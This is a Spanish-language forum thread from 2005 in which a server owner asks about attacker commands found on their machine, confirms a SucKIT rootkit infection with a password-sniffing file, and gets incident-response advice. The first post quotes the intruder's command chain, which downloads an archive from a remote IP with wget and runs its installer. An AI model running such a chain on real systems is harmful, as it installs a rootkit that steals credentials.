20/09/2005, 12:25
| |||
| |||
| Descifrar 2 lineas Hola, me he encontrado con que alguien ha introducido estos comandos: mkdir ... cd ... wget http://66.185.162.241/...fusao/sk.tar.gz;tar -zxvf sk.tar.gz;cd sk1.3a;chmod 777 *;./inst;cd /usr/local/.games;./sk ifconfig iptables -L Me temo lo peor, ¿alguien ha instalado el suckit? ¿que puedo hacer si lo ha hecho? Gracias |
|
20/09/2005, 12:32
| ||||
| ||||
| Si los permisos de /usr/local están correctamente seteados, y si tu sistema está correctamente actualizado, entonces no deberías tener problemas. A menos, obviamente, que ese "alguien" haya ejecutado lo anterior como root. En ese caso, simplemente reinstala (¿tienes backups, verdad?).
__________________ Christian González, "OCIOMax" http://chgonzalez.blogspot.com http://twitter.com/chgonzalez |
|
20/09/2005, 12:39
| ||||
| ||||
| Si aun existe el codigo fuente miralo a ver qué hace y puedes tomar decisiones en base a la peligrosidad del codigo para la estabilidad del sistema. Saludos
__________________ “Los soñadores no existen, se lo dice un soñador que ha tenido el privilegio de ver realidades que ni siquiera fue capaz de soñar” |
|
21/09/2005, 08:32
| |||
| |||
| Pues me temo que estoy infectado. Han instalado el suckit, me he encontrado 1 archivo llamado .sniffer con claves ftp, del panel de control... ¿Hay alguna manera de conocer la IP de quien ha escrito esos comandos? Gracias, un saludo. |
|
21/09/2005, 08:38
| ||||
| ||||
| Escribe el comando last para ver las ultimas conexiones a tu máquina. saludos
__________________ “Los soñadores no existen, se lo dice un soñador que ha tenido el privilegio de ver realidades que ni siquiera fue capaz de soñar” |
|
21/09/2005, 09:09
| ||||
| ||||
| Si el que hizo esto es medianamente inteligente, entonces no te servirá de nada averiguar la IP, ya que seguramente la habrá falseado. Mejor reinstala desde cero, usando una distro religiosamente actualizada; luego refuerza tus mecanismos de seguridad.
__________________ Christian González, "OCIOMax" http://chgonzalez.blogspot.com http://twitter.com/chgonzalez |
